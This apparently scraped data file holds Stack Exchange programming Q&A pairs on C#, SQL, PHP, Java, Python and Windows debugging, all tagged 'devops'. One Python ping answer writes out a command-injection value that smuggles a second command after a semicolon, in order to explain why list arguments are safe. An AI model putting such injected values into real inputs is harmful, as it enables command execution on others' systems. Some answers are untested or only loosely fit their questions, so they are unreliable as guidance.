{"id": "hf_f1e638b376ad", "question": "<p>I saw this signature on the ListView class:</p>\n\n<pre><code>public ListView..::.ListViewItemCollection Items { get; }\n</code></pre>\n\n<p>When I saw that, \"What?!\"</p>\n\n<p>I searched \"dot dot colon colon dot\" and \"..::.\" on Google with no result.</p>\n\n<p><img src=\"https://i.stack.imgur.com/av0FO.png\" alt=\"alt text\"></p>\n", "question_body": "", "answer": "That's not C#; that's JScript. In C#, it would be:\npublic ListView.ListViewItemCollection Items { get; }\nIt's a little different because ListViewItemCollection is an inner class of ListView.\nI'm guessing that you saw this looking at\nListView.Items Property (System.Windows.Forms)\n.\nIf you look at the listing for all the other languages, they're all listed with the JScript syntax. You've found a documentation bug.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.861763"}
{"id": "hf_9dcb4c05653e", "question": "<p>I wish to find all rows in a table where one column is a substring of another column.</p>\n\n<p>In other words, suppose I have a table (called people) with two columns: firstname and lastname, and I want to find all people like \"rob robinowitz\" and \"jill bajillion\".</p>\n\n<p>Is there a way to do something like \"select * from people where lastname like %firstname%\"?  (But something which actually works).</p>\n", "question_body": "", "answer": "You were close\n```\n```\nselect * from people where lastname like '%' + firstname + '%'\n```\n```\nAlternative way (may be even faster)\n```\n```\nselect * from people where charindex(firstname,lastname)>0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.885685"}
{"id": "hf_312c829b8e6e", "question": "<p>Sounds easy, but I can't find where this built in class and others exists in the documentation. I use functions but want to know what there is on the OO side.</p>\n", "question_body": "", "answer": "It's not a URL or anything, but you can get a fair idea using Reflection:\n```\n```\nReflection::export(new ReflectionClass('DateTime'));\n\nClass [  class DateTime ] {\n\n  - Constants [11] {\n    Constant [ string ATOM ] { Y-m-d\\TH:i:sP }\n    Constant [ string COOKIE ] { l, d-M-y H:i:s T }\n    Constant [ string ISO8601 ] { Y-m-d\\TH:i:sO }\n    Constant [ string RFC822 ] { D, d M y H:i:s O }\n    Constant [ string RFC850 ] { l, d-M-y H:i:s T }\n    Constant [ string RFC1036 ] { D, d M y H:i:s O }\n    Constant [ string RFC1123 ] { D, d M Y H:i:s O }\n    Constant [ string RFC2822 ] { D, d M Y H:i:s O }\n    Constant [ string RFC3339 ] { Y-m-d\\TH:i:sP }\n    Constant [ string RSS ] { D, d M Y H:i:s O }\n    Constant [ string W3C ] { Y-m-d\\TH:i:sP }\n  }\n\n  - Static properties [0] {\n  }\n\n  - Static methods [0] {\n  }\n\n  - Properties [0] {\n  }\n\n  - Methods [9] {\n    Method [  public method __construct ] {\n    }\n\n    Method [  public method format ] {\n    }\n\n    Method [  public method modify ] {\n    }\n\n    Method [  public method getTimezone ] {\n    }\n\n    Method [  public method setTimezone ] {\n    }\n\n    Method [  public method getOffset ] {\n    }\n\n    Method [  public method setTime ] {\n    }\n\n    Method [  public method setDate ] {\n    }\n\n    Method [  public method setISODate ] {\n    }\n  }\n}\n```\n```\nNot perfect, as there are no arguments, but a starting point at least.  They should make this easier to find out, I agree!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.909223"}
{"id": "hf_0dc65eefd2f9", "question": "<p>If I have code like this:</p>\n\n<pre><code>        public XALServiceConfiguration CreateInstance()\n        {\n            var config = ConfigurationManager.GetSection(ConfigurationSectionName) as XALServiceConfiguration;\n            if (config == null)\n                throw new ConfigurationErrorsException(\"Configuration element 'xalService' was not found or is not of correct type.\");\n            return config;\n        }\n</code></pre>\n\n<p>How can I test that the exception is thrown if the section is missing from the configuration file ? For other tests, the configuration section needs to be in the config file, so I cannot actually remove it from the file.</p>\n\n<p>I am using the Visual Studio 2008 Unit test framework.</p>\n", "question_body": "", "answer": "You could just catch the exception in a\n```\ntry catch\n```\nstatment and do an\n```\nAssert\n```\nin the catch.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.933859"}
{"id": "hf_d92e27ae1d52", "question": "<p>I want add the new node as parent node of the old nodes in XML using C#. for example node have the following XMl file:</p>\n\n<pre><code>&lt;bookstore&gt;\n   &lt;books&gt;\n      &lt;author&gt;\n      &lt;/author&gt;\n   &lt;/books&gt; \n&lt;/bookstore&gt;\n</code></pre>\n\n<p>like that now I want add the new like below:</p>\n\n<pre><code>&lt;bookstore&gt;\n &lt;newnode&gt;\n   &lt;books&gt;\n      &lt;author&gt;\n      &lt;/author&gt;\n   &lt;/books&gt; \n &lt;/newnode&gt;\n&lt;/bookstore&gt;\n</code></pre>\n", "question_body": "", "answer": "Don't have VS here so can't confirm that this works but something like this:\n```\n```\nXmlDocument xd = new XmlDocument();\nxd.Load(\"oldxmlfile.xml\");\nXmlNode oldNode = xd[\"nameOfRootNode\"];\nxd.RemoveAll();\nXmlNode newParent = xd.CreateNode(\"nodename\");\nnewParent.AppendChild(oldNode);\nxd.AppendChild(newParent);\nxd.Save(\"newXmlFile.xml\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.957696"}
{"id": "hf_4687f1ab6bd5", "question": "<p>Are there any command line interfaces to the DHCP settings in Mac OS X? I have found that inside System Profiler, the Network tab provides a lot of useful information, but I have not found any documentation about any command line equivalents.</p>\n", "question_body": "", "answer": "You should look at:\n```\n```\nifconfig(8)\nnetstat(1)\nnetintro(4)\n```\n```\nThe most important of these (netintro isn't actually a utility but rather introductory information on unix networking) is ifconfig which is the command line tool used to configure the various network interfaces you may have installed on your machine (like your ethernet card and your airport card) as well as any virtual interfaces (like your loopback address and things like parallels).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.994345"}
{"id": "hf_ac1c97dc43b1", "question": "<p>I want to pose a question such as:</p>\n<blockquote>\n<p>What is your name? Joe</p>\n</blockquote>\n<p>How would I accomplish this using <code>Console.WriteLine</code> to also wait for the response on that same line instead of it being broken into:</p>\n<blockquote>\n<p>What is your name?</p>\n<p>Joe</p>\n</blockquote>\n", "question_body": "", "answer": "Use\n```\nConsole.Write\n```\ninstead, so there's no newline written:\n```\n```\nConsole.Write(\"What is your name? \");\nvar name = Console.ReadLine();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.034064"}
{"id": "hf_545fb834d5d1", "question": "<p>Suppose I want to count the lines of code in a project. If all of the files are in the same directory I can execute:</p>\n\n<pre><code>cat * | wc -l\n</code></pre>\n\n<p>However, if there are sub-directories, this doesn't work. For this to work cat would have to have a recursive mode. I suspect this might be a job for xargs, but I wonder if there is a more elegant solution?</p>\n", "question_body": "", "answer": "Try using the\n```\nfind\n```\ncommand, which recurses directories by default:\n```\nfind . -type f -execdir cat {} \\; | wc -l\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.069536"}
{"id": "hf_36ef857f7171", "question": "<p>I need an OpenSource API in Java, which can encode *.wav and *.au formats to MP3 and vice-versa. </p>\n\n<p>I have evaluated Java Sound API and <a href=\"http://openinnowhere.sourceforge.net/lameonj\" rel=\"noreferrer\">LameOnJ</a>, but they do not meet my requirements and are not stable, respectively. Please suggest one that is free and platform independent.</p>\n", "question_body": "", "answer": "Use the\nProcess API\nto invoke\nSoX\nSoX comes with source or as precompiled binaries for Windows and Mac.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.128768"}
{"id": "hf_110ddd580809", "question": "<p>I have a version resource in my resources in a C++ project which contains version number, copyright and build details.  Is there an easy way to access this at run-time to populate my <em>help/about</em> dialog as I am currently maintaining seperate const values of this information.  Ideally, the solution should work for Windows/CE mobile and earlier versions of Visual C++ (6.0 upwards).</p>\n", "question_body": "", "answer": "Something like this will give you raw access to the resource data and get you started:\n```\n```\nHRSRC res = ::FindResource(NULL, MAKEINTRESOURCE(MY_VERSION_ID), RT_VERSION);\nDWORD size = ::SizeofResource(NULL, res);\nHGLOBAL mem = ::LoadResource(NULL, res);\nLPVOID raw_data = ::LockResource(mem);\n...\n::FreeResource(mem);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.152243"}
{"id": "hf_d46f35f77d3d", "question": "<p>I am trying to use C# to parse CSV. I used regular expressions to find <code>\",\"</code> and read string if my header counts were equal to my match count.</p>\n\n<p>Now this will not work if I have a value like:</p>\n\n<pre><code>\"a\",\"\"b\",\"x\",\"y\"\",\"c\"\n</code></pre>\n\n<p>then my output is:</p>\n\n<pre><code>'a'\n'\"b'\n'x'\n'y\"'\n'c'\n</code></pre>\n\n<p>but what I want is:</p>\n\n<pre><code>'a'\n'\"b\",\"x\",\"y\"'\n'c'\n</code></pre>\n\n<p>Is there any regex or any other logic I can use for this ?</p>\n", "question_body": "", "answer": "In order to have a parseable CSV file, any double quotes inside a value need to be properly escaped somehow.  The two standard ways to do this are by representing a double quote either as two double quotes back to back, or a backslash double quote.  That is one of the following two forms:\n\"\"\n\\\"\nIn the second form your initial string would look like this:\n\"a\",\"\\\"b\\\",\\\"x\\\",\\\"y\\\"\",\"c\"\nIf your input string is not formatted against some rigorous format like this then you have very little chance of successfully parsing it in an automated environment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.210942"}
{"id": "hf_f441a1f65d4d", "question": "<p>I have an app that is written in Swing, awt.\nI want to prevent users from pasting values into the textfields.\nis there any way to do this without using action listeners?</p>\n", "question_body": "", "answer": "You may be able to override the\n```\npaste()\n```\nmethod in\n```\nJTextComponent\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.270283"}
{"id": "hf_a6506eaba412", "question": "<p>I have an exe that I know was written in java. I understand that java programs can be made into an exe and there are tools to convert jar files to exe but is it possible to convert back? AFAIK jar files can be run on any platform that can run java and I would like to use a windows compiled java program on mac without using any extra virtualisation (wine,vmware)</p>\n", "question_body": "", "answer": "It depends how the exe has been built:\nIf it has simply wrapped, with a tool like\nJSmooth\n, the same tool can\nextract the jar\nIf it it has been compiled, with for instance gcj (as illustrated by\nthis question\n),... I am not sure.\nIf it has been compiled by a static compiler (or\nAOT - Ahead-Of-Time\n-), I believe it is not possible to extract the orignial jars.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.317555"}
{"id": "hf_e47b37e0cce6", "question": "<p>I always tell in c# a variable of type double is not suitable for money. All weird things could happen. But I can't seem to create an example to demonstrate some of these issues. Can anyone provide such an example?</p>\n\n<p>(edit; this post was originally tagged C#; some replies refer to specific details of <code>decimal</code>, which therefore means <a href=\"http://msdn.microsoft.com/en-us/library/system.decimal.aspx\" rel=\"noreferrer\"><code>System.Decimal</code></a>).</p>\n\n<p>(edit 2: I was specific asking for some c# code, so I don't think this is language agnostic only)</p>\n", "question_body": "", "answer": "Very, very unsuitable. Use decimal.\n```\n```\ndouble x = 3.65, y = 0.05, z = 3.7;\nConsole.WriteLine((x + y) == z); // false\n```\n```\n(example from Jon's page\nhere\n- recommended reading ;-p)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.341515"}
{"id": "hf_6f01252797a8", "question": "<p>I had this question earlier and it was concluded it was a bug in 5.2.5.  Well, it's still broken in 5.2.6, at least for me:</p>\n\n<p>Please let me know if it is broken or works for you:</p>\n\n<pre><code>$obj = new stdClass();\n$obj-&gt;{\"foo\"} = \"bar\";\n$obj-&gt;{\"0\"} = \"zero\";\n$arr = (array)$obj;\n\n//foo -- bar\n//0 --    {error: undefined index}\nforeach ($arr as $key=&gt;$value){\n    echo \"$key -- \" . $arr[$key] . \"\\n\";\n}\n</code></pre>\n\n<p>Any ways to \"fix\" the array after it has been cast from a stdClass?</p>\n", "question_body": "", "answer": "Definitely seems like a bug to me (PHP 5.2.6).\nYou can fix the array like this:\n```\n```\n$arr = array_combine(array_keys($arr), array_values($arr));\n```\n```\nIt's been reported in\nthis bug report\nbut marked as bogus...\nthe documentation\nsays:\nThe keys are the member variable\n  names, with a few notable exceptions:\n  integer properties are unaccessible;", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.376557"}
{"id": "hf_9c65532e42f8", "question": "<p>Can the iPhone use other databases besides SQLite, like MySQL?</p>\n", "question_body": "", "answer": "The iPhone can only use SQLite as a database, directly on the device. This means there is no MySQL server inside the iPhone. But you can, and are free to have (your own) MySQL Back-end server, to which iPhone applications connect to. But Apple doesn't provide the server, so you have to pay the maintenance costs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.400444"}
{"id": "hf_ffe7650fbb53", "question": "<p>I'm working with a Java program that has multiple components (with Eclipse &amp; Ant at the moment). </p>\n\n<p>Is there some way to start multiple programs with one launch configuration? I have an Ant target that does the job (launches multiple programs) but there are things I would like to  do:</p>\n\n<ul>\n<li>I would like to debug the programs with Eclipse, hence the need for Eclipse launch.</li>\n<li>I would like to see the outputs for the programs at separate consoles.</li>\n</ul>\n\n<p>Also other ways to launch multiple Java programs \"with one click\" with separate consoles and/or debugging would be ok.</p>\n", "question_body": "", "answer": "['multiple launch part':]\nIf you have an ant launch configuration which does what you want, you can always transform it into a java launcher calling ant.\n```\n```\nMain Class: org.apache.tools.ant.Main\n\n-Dant.home=${resource_loc:/myPath/apache_ant} \n-f ${resource_loc:/myProject/config/myFile-ant.xml}\n```\n```\nYou can then launch this ant session as a regular java application, with all eclipse debugging facilities at your disposal.\nAdd to your classpath in the User Entries section (\nbefore\nyour project and default path):\nant.jar\nant-launcher.jar\n[Multiple console part]\nMay be a possible solution would be to make sure your ant launcher actually launches the different application in their own JVM process (one javaw.exe for each application)\nThat way, you could use the ability of the\nnative eclipse console to switch between different  process\n.\nThe Console view clearly separates output from each distinct \"process\" and keeps them in several \"buffers\". The Console has a built-in \"switch\" feature that will automatically switch the view to display the buffer of the last process that performed output, however you can easily switch the display to any \"process buffer\" you want to look at.\nTo switch the Console \"buffer\" display, just click on the black \"Down arrow\" next to the 4th toolbar button from the right in the Console View's title bar (the button\nthat resembles a computer screen):\nthis will show a pop-down menu listing the \"names\" of all active process buffers, preceded by an \"order number\".\nThe one currently displayed will have a check-mark before its \"order number\". You can switch the view to another display buffer simply by clicking on its name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.436348"}
{"id": "hf_c3a554944021", "question": "<p>Just wondering if there is anything built-in to Javascript that can take a Form and return the query parameters, eg: <code>\"var1=value&amp;var2=value2&amp;arr[]=foo&amp;arr[]=bar...\"</code></p>\n\n<p>I've been wondering this for years.</p>\n", "question_body": "", "answer": "I'm not entirely certain myself, I recall seeing jQuery did it to an extent, but it doesn't handle hierarchical records at all, let alone in a php friendly way.\nOne thing I do know for certain, is when building URLs and sticking the product into the dom, don't just use string-glue to do it, or you'll be opening yourself to a handy page breaker.\nFor instance, certain advertising software in-lines the version string from whatever runs your flash. This is fine when its adobes generic simple string, but however, that's very naive, and blows up in an embarrasing mess for people whom have installed Gnash, as gnash'es version string happens to contain a full blown GPL copyright licences, complete with URLs and <a href> tags. Using this in your string-glue advertiser generator, results in the page blowing open and having imbalanced HTML turning up in the dom.\nThe moral of the story:\n```\n```\nvar foo = document.createElement(\"elementnamehere\"); \n   foo.attribute = allUserSpecifiedDataConsideredDangerousHere; \n   somenode.appendChild(foo);\n```\n```\nNot:\n```\n```\ndocument.write(\"<elementnamehere attribute=\\\"\" \n        + ilovebrokenwebsites \n        + \"\\\">\" \n        + stringdata \n        + \"</elementnamehere>\");\n```\n```\nGoogle need to learn this trick. I tried to report the problem, they appear not to care.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.488701"}
{"id": "hf_483b139f9f53", "question": "<p>There are too many method for embedding flash in html, which way is the best?\nRequirements are:</p>\n\n<ul>\n<li>Cross-browser support</li>\n<li>Support for alternative content (if flash is not supported by the browser)</li>\n<li>Possibility to require a specific version of the flash player</li>\n</ul>\n\n<p>I have been reading about <a href=\"http://code.google.com/p/swfobject/wiki/documentation\" rel=\"nofollow noreferrer\">SWFobject</a>, has anyone used it/tested? </p>\n", "question_body": "", "answer": "In a project I work on we use SWFobject which works like a charm, it allows you to check for a specific version and also display alternative content if flash is not supported.\n```\n```\nvar fn = function() {\n    if(swfobject.hasFlashPlayerVersion(\"9.0.115\"))\n    {\n        var att = { data:\"flash.swf\", width:\"y\", height:\"x\" };\n        var par = { menu: \"false\", flashvars: \"\" };\n        signUp = swfobject.createSWF(att, par);\n    }\n}\nswfobject.addDomLoadEvent(fn);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.524359"}
{"id": "hf_458db868420a", "question": "<p>I need to launch a media file from a URL from within my c# .NET application. Is there any way to do this natively in .NET? I don't need an embedded player, I just need the default player to launch. I have tried </p>\n\n<pre><code>System.Diagnostics.Process.Start(\"File URL\");\n</code></pre>\n\n<p>but it launches the default browser and downloads the file, instead of attempting to play it in WMP/VLC/whatever the default media player is. Any ideas?</p>\n", "question_body": "", "answer": "If you enter an URL it will be handled with the program registered to that URL format, in your case the default web browser.\nWhat format are the media in? You can get associated program for an extension and then run that program with the url as parameter.\nSee:\nWindows: List and Launch applications associated with an extension\nSo if your media is for example .MP3, then find the assoicated program for .MP3 (using the code in the link above) and pass the url as a parameter to that program.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.572112"}
{"id": "hf_321d240e2c4c", "question": "<p>Can we have a SQL query which will basically help in viewing table and index sizes in SQl Server.</p>\n\n<p>How SQL server maintains memory usage for  tables/indexes?</p>\n", "question_body": "", "answer": "```\n```\nEXEC sp_MSforeachtable @command1=\"EXEC sp_spaceused '?'\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.611342"}
{"id": "hf_adb0a80771b7", "question": "<p>I'm recoding an old site that contains a chart similar to this:</p>\n\n<p><a href=\"http://dl.getdropbox.com/u/240752/rental-chart.gif\" rel=\"nofollow noreferrer\">alt text http://dl.getdropbox.com/u/240752/rental-chart.gif</a></p>\n\n<p>How would this chart be represented with pure HTML? I'm loathed to just include it as an image.</p>\n\n<p>I'm thinking a table, just replaced with an image, or perhaps overlaid with absolutely positioned table rows, but I think that may be a bit fragile.</p>\n\n<p>Any suggestions welcomed.</p>\n", "question_body": "", "answer": "Whats wrong with the image?\nMost times when you see chart information on the Web its a generated .jpg or .png.\nHave all those designers got something wrong?\nAny attempt to draw the chart using tables and backgroud colours will not be intelligable to a sight impaired person, and, in all probability will not render correctly on a browser that cannot handle images.\nUse the image and have an \"alt\" text with a real English description \"A chart showing ACME product costs only $49 compared with competitors: Rental Company 4 at $51 .......", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.646284"}
{"id": "hf_efa810fde8fa", "question": "<p>How can I access the apache basic-auth username in a PHP script?</p>\n", "question_body": "", "answer": "Simply access this variable:\n```\n```\n$_SERVER['PHP_AUTH_USER']\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.669357"}
{"id": "hf_9dc2b6b3437e", "question": "<p>I have the following string:</p>\n\n<pre><code>&lt;SEM&gt;electric&lt;/SEM&gt; cu &lt;SEM&gt;hello&lt;/SEM&gt; rent &lt;SEM&gt;is&lt;I&gt;love&lt;/I&gt;, &lt;PARTITION /&gt;mind\n</code></pre>\n\n<p>I want to find the last \"SEM\" start tag before the \"PARTITION\" tag. not the SEM end tag but the start tag. The result should be:</p>\n\n<pre><code>&lt;SEM&gt;is &lt;Im&gt;love&lt;/Im&gt;, &lt;PARTITION /&gt;\n</code></pre>\n\n<p>I have tried this regular expression:</p>\n\n<pre><code>&lt;SEM&gt;[^&lt;]*&lt;PARTITION[ ]/&gt;\n</code></pre>\n\n<p>but it only works if the final \"SEM\" and \"PARTITION\" tags do not have any other tag between them. Any ideas?</p>\n", "question_body": "", "answer": "Have you tried this:\n```\n```\n<EM>.*<PARTITION\\s*/>\n```\n```\nYour regular expression was matching anything but \"<\" after the \"EM\" tag. Therefore it would stop matching when it hit the closing \"EM\" tag.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.692748"}
{"id": "hf_f9e60099deb3", "question": "<p>How do I ping a website or IP address with Python?</p>\n", "question_body": "", "answer": "Depending on what you want to achive, you are probably easiest calling the system ping command..\nUsing the subprocess module is the best way of doing this, although you have to remember the ping command is different on different operating systems!\n```\n```\nimport subprocess\n\nhost = \"www.google.com\"\n\nping = subprocess.Popen(\n    [\"ping\", \"-c\", \"4\", host],\n    stdout = subprocess.PIPE,\n    stderr = subprocess.PIPE\n)\n\nout, error = ping.communicate()\nprint out\n```\n```\nYou don't need to worry about shell-escape characters. For example..\n```\n```\nhost = \"google.com; `echo test`\n```\n```\n..will\nnot\nexecute the echo command.\nNow, to actually get the ping results, you could parse the\n```\nout\n```\nvariable. Example output:\n```\n```\nround-trip min/avg/max/stddev = 248.139/249.474/250.530/0.896 ms\n```\n```\nExample regex:\n```\n```\nimport re\nmatcher = re.compile(\"round-trip min/avg/max/stddev = (\\d+.\\d+)/(\\d+.\\d+)/(\\d+.\\d+)/(\\d+.\\d+)\")\nprint matcher.search(out).groups()\n\n# ('248.139', '249.474', '250.530', '0.896')\n```\n```\nAgain, remember the output will vary depending on operating system (and even the version of\n```\nping\n```\n). This isn't ideal, but it will work fine in many situations (where you know the machines the script will be running on)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.727896"}
{"id": "hf_b1dc5aace78a", "question": "<p>I need to use JavaScript in a form for mobile web application.</p>\n\n<p>I need some information about it, related to browser compatibility as well as way to use JavaScript in mobile web applications (syntax).</p>\n", "question_body": "", "answer": "It's a nightmare. It's like working with web-browsers in the 90's but with the manager expectations of tomorrow.\nI strongly recommend you determine your target platforms in terms of regions, software, and actual hardware since the market is much more fragmented than the web and a large number of mobile devices have issues with CSS, JS and even XHTML ranging from painful to not-on-this-platform.\nThe good news is that android and iphone are pushing the field rapidly. The bad news is that makes a lot of the sources you'll google badly out-of-date.\nSome references:\nhttp://www.w3.org/TR/mobileOK-basic10-tests/#test_objects_or_script\nhttp://mobiforge.com/developing/story/getting-started-with-mobile-ajax\nhttp://mobiforge.com/\nEspecially that last one :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.752093"}
{"id": "hf_39ddc3732b90", "question": "<p>I can't seem to retrieve an ID I'm sending in a html.ActionLink in my controller, here is what I'm trying to do</p>\n<pre><code>&lt;li&gt;\n    &lt;%= Html.ActionLink(&quot;Modify Villa&quot;, &quot;Modify&quot;, &quot;Villa&quot;, new { @id = &quot;1&quot; })%&gt;&lt;/li&gt;\n\n\n    public ActionResult Modify(string ID)\n    {\n\n        ViewData[&quot;Title&quot;] =ID;\n        return View();\n    }\n</code></pre>\n<p>That's what a tutorial I followed recommended, but it's not working, it's also putting ?Length=5 at the end of the URL!</p>\n<p>Here is the route I'm using, it's default</p>\n<pre><code>        routes.MapRoute(\n            &quot;Default&quot;,                                              // Route name\n            &quot;{controller}/{action}/{id}&quot;,                           // URL with parameters\n            new { controller = &quot;Home&quot;, action = &quot;Index&quot;, id = &quot;&quot; }  // Parameter defaults\n        );\n</code></pre>\n", "question_body": "", "answer": "Don't put the @ before the id\n```\n```\nnew { id = \"1\" }\n```\n```\nThe framework \"translate\" it in ?Lenght when there is a mismatch in the parameter/route", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.787941"}
{"id": "hf_c7be48679169", "question": "<p>I've got a dump of a .Net process that has hung due to a deadlock (the gui thread is no longer responding, and my logs show that some threads have stopped responding). I have taken a snapshot and am now looking through it in windbg, and all threads bar one are waiting for the last one. Looking at that one thread's stacktrace with !clrstack -p I can see that it is trying to aquire a write on a ReaderWriterLock</p>\n\n<p>How do I tell which other thread holds that lock so I can start figuring out how the deadlock happened?</p>\n\n<p>thanks</p>\n\n<p>[edit] apparently there was a command !rwlocks in the .Net1.1 sos.dll to help with this, but it isn't there in the .Net2.0 version. The hunt continues</p>\n", "question_body": "", "answer": "I'm not absolutely sure but you might be able to use !SyncBlk to look at the sync block objects, if you invoke it without any arguments I think you should see the sync blocks that are owned by a thread.\nIf you have a sync block deadlock, the extension\nSOSEX\nmight be what you need. This extension offers the command !dlk that shows which threads are waiting for which locks. This only works for sync blocks though, deadlocks on other sync objects will not be detected, if you are using lock() (Monitor.Enter) this should not be a problem for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.814968"}
